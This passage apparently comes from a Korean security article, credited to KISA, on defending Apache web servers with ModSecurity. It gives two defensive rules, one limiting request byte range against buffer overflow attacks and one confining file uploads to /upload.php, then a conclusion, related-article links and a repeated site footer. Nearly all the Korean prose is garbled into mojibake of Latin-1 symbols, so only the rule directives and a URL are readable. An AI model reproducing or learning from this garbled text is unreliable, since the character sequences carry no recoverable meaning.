- ¹öÆÛ¿À¹öÇÃ·Î¿ì °ø°Ý
 
¹öÆÛ¿À¹öÇÃ·Î¿ì °ø°ÝÀº ÀԷ°ªÀÇ Å©±â¸¦ Á¦ÇÑÇÏÁö ¾Ê¾Æ ÀÔ·Â ¹öÆÛ¸¦ ³ÑÄ¡°Ô ÇÏ¿© ƯÁ¤ Äڵ带 ½ÇÇàÇÏ°Ô ÇÏ´Â °ø°ÝÀÌ´Ù. µû¶ó¼­ ´ÙÀ½°ú °°ÀÌ »ç¿ëÀÚ ¿äû ½ºÆ®¸µÀÇ Å©±â¸¦ Á¦ÇÑÇÏ¿© À̸¦ ¹æ¾îÇÒ ¼ö ÀÖ´Ù.
SecFilterByteRange 1 255

- ÆÄÀÏ ¾÷·Îµå
 
ÆÄÀÏ ¾÷·Îµå¸¦ Á¦ÇÑÇÏ°í ƯÁ¤ Æú´õ¿¡¼­¸¸ ÆÄÀÏ ¾÷·Îµå¸¦ Çã¿ëÇÒ ¼ö ÀÖ´Ù. ¾Æ·¡ ¿¹¿¡¼­´Â ¡°/upload.php" ÀÌÇÏ¿¡¼­¸¸ ÆÄÀÏ ¾÷·Îµå°¡ °¡´ÉÇÏ´Ù.
SecFilterSelective HTTP_CONTENT_TYPE multipart/form-data <Location /upload.php> SecFilterInheritance Off </Location>

Áö±Ý±îÁö ModSecurity¸¦ ÀÌ¿ëÇÑ ¾ÆÆÄÄ¡ À¥¼­¹öÀÇ ÇØÅ· Â÷´Ü ¹æ¾È¿¡ ´ëÇØ »ìÆ캸¾Ò´Ù.
ModSecurity´Â ¾ÆÆÄÄ¡ À¥¼­¹öÀÇ ÀÛÀº ¸ðµâÀÌÁö¸¸ ´Ù¾çÇÑ À¥ °ø°Ý¿¡ ´ëÇÑ °­·ÂÇÑ Å½Áö ¹× ¹æ¾î ±â´ÉÀ» °¡Áö°í ÀÖ´Ù. ¾Æ½¬¿î Á¡Àº RuleÀÇ ¼³Á¤ÀÌ GUI ÇüÅ·ΠÁ¦°øµÇÁö ¾Ê°í °ü¸®ÀÚ°¡ ÀÏÀÏÀÌ ¼³Á¤ÆÄÀÏ¿¡ Ãß°¡¸¦ ÇØ ÁÖ¾î¾ß ÇÏ´Â ºÒÆíÇÔÀÌ ÀÖ´Ù. ÇÏÁö¸¸ ÀÌ Rule ¼³Á¤µµ ModSecurity ȨÆäÀÌÁö(http://www.modsecurity.org/projects/rules/index.html)¿¡ ¸î °³ÀÇ Rule ¼³Á¤ ¿¹°¡ ÀÖÀ¸¹Ç·Î À̸¦ Âü°íÇÏ¸é ¸¹Àº µµ¿òÀÌ µÉ °ÍÀÌ´Ù. ¸¶Áö¸·À¸·Î º» °í¿¡¼­´Â ÀϹÝÀûÀ¸·Î Apache+PHP+MySQL ȯ°æ¿¡ ÀûÇÕÇÑ Rule ¼³Á¤ ¿¹¸¦ ºÎ·Ï¿¡ Á¦°øÇÏ°í ÀÖÀ¸¹Ç·Î À̸¦ ±âº»À¸·Î ÀÚ½ÅÀÇ À¥ ȯ°æ¿¡ ¸Â°Ô Ä¿½ºÆ®¸¶ÀÌ¡ÇÏ¸é µµ¿òÀÌ µÉ °ÍÀ¸·Î »ý°¢µÈ´Ù.

[ÀÚ·á: Çѱ¹Á¤º¸º¸È£ÁøÈï¿ø(KISA)]
  ¾÷·Îµå Ãë¾àÁ¡À» ÀÌ¿ëÇÑ ¾Ç¼ºÄÚµå À¯Æ÷ »ç·Ê
  WebKnight¸¦ ÀÌ¿ëÇÑ SQL Injection °ø°Ý Â÷´Ü





ȸ»ç¼Ò°³ °³ÀÎÁ¤º¸Ãë±Þ¹æħ ÀÌ¿ë¾à°ü À̸ÞÀÏÁÖ¼Ò ¹«´Ü¼öÁý°ÅºÎ CONTACT US IDC ¾àµµ
ȸ»ç¼Ò°³ °³ÀÎÁ¤º¸Ãë±Þ¹æħ ÀÌ¿ë¾à°ü À̸ÞÀÏÁÖ¼Ò ¹«´Ü¼öÁý°ÅºÎ CONTACT US IDC ¾àµµ ȸ»ç¼Ò°³ °³ÀÎÁ¤º¸Ãë±Þ¹æħ ÀÌ¿ë¾à°ü À̸ÞÀÏÁÖ¼Ò ¹«´Ü¼öÁý°ÅºÎ CONTACT US IDC ¾àµµ